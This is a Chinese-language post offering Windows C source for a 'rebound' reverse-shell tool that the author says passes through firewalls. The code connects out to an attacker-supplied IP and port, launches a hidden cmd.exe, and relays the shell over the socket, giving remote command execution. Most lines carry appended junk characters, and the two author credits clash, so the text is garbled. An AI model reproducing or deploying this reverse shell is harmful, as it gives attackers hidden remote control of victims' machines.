这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9FK%"s`
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/* ============================== qY0p)`3!%
Rebound port in Windows NT HjLY\.S
By wind,2006/7 L=
hPu#&/
===============================*/ @MTm8E6au
#include <!R~G-D#_T
#include 0zetOlFbO
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#pragma comment(lib,"wsock32.lib") GoZr[=d
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void OutputShell(); Yaht<Hy
SOCKET sClient; B xq(+^T
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^lf{IM-Y
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void main(int argc,char **argv)
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{ Fd9ypZs
WSADATA stWsaData; d_]zX;_
int nRet; RoT}L#!!
SOCKADDR_IN stSaiClient,stSaiServer; N
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if(argc != 3) YqrieDFay!
{ 3Jf_3c
printf("Useage:\n\rRebound DestIP DestPort\n"); d A[I
return; hgL wxJu
} W/L~&.'
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WSAStartup(MAKEWORD(2,2),&stWsaData); D!+d]A[r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .e~17}Ka}
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stSaiClient.sin_family = AF_INET; :[?hU}9
stSaiClient.sin_port = htons(0); a)/!ifJ;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d@JjqE[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5L'X3g
{ t32
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printf("Bind Socket Failed!\n"); +QGZ2_vW
return; M<4~ewWJ
} 7X*$Fu<
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stSaiServer.sin_family = AF_INET; sFuB[
JJ}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4[v
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IZoS2^:yw
1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R<I)}<g(A3
{ bk44qL;8
printf("Connect Error!"); JmjqA Dex
return; Ko|nF-r_
} 8GgZAu'X
OutputShell(); EIPNR:6t
} j}ywdP`a
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void OutputShell() Ru9QQaHE
{ q' fZA;
char szBuff[1024]; b*&AIiT
SECURITY_ATTRIBUTES stSecurityAttributes; Z9,-FO{#3-
OSVERSIONINFO stOsversionInfo; F[RQ6PW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Nk*d=vj
STARTUPINFO stStartupInfo; $aDAD4mmm
char *szShell; \R\?`8Orz
PROCESS_INFORMATION stProcessInformation; Ii FeO
unsigned long lBytesRead; PUZH[-:c
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Cdg/wRje
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *")Req
stSecurityAttributes.lpSecurityDescriptor = 0; [|.IXdJ!
stSecurityAttributes.bInheritHandle = TRUE; yyB;'4Af
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"H\1Z,P<m
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GCm(3%{V%(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5+Fr/C
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @)k/t>r(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |mvY=t
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stStartupInfo.wShowWindow = SW_HIDE; @K.{o'
stStartupInfo.hStdInput = hReadPipe; EIQ`?8KSR
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UEHJ?
}
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GetVersionEx(&stOsversionInfo); = Lt)15
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switch(stOsversionInfo.dwPlatformId) >%LZ|*U
{ [}:;B$,
case 1: pZHx
szShell = "command.com"; >J(._K
break; i[L5,%5<H
default: )S"!)\4 b
szShell = "cmd.exe"; m#w1?y)Z@X
break; b?i5C4=K
} f3PDLQA
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /5M0[C E
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send(sClient,szMsg,77,0); lgrD~Y (x
while(1) mk.1j x?l
{ @%iZT4`Ejf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 69< <pm,m
if(lBytesRead) pY.R?\
{ Kcl~cIh7 7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r c++c,=
send(sClient,szBuff,lBytesRead,0); Ql>bsr}
} 4Ys\<\~d
else (-S\%,hO
{ pNUe|b+P
lBytesRead=recv(sClient,szBuff,1024,0); b:B+x6M
if(lBytesRead<=0) break; 4,EX2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p.@kv
} 6sjd:~J:
} R`
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return; T8^`<gr.
}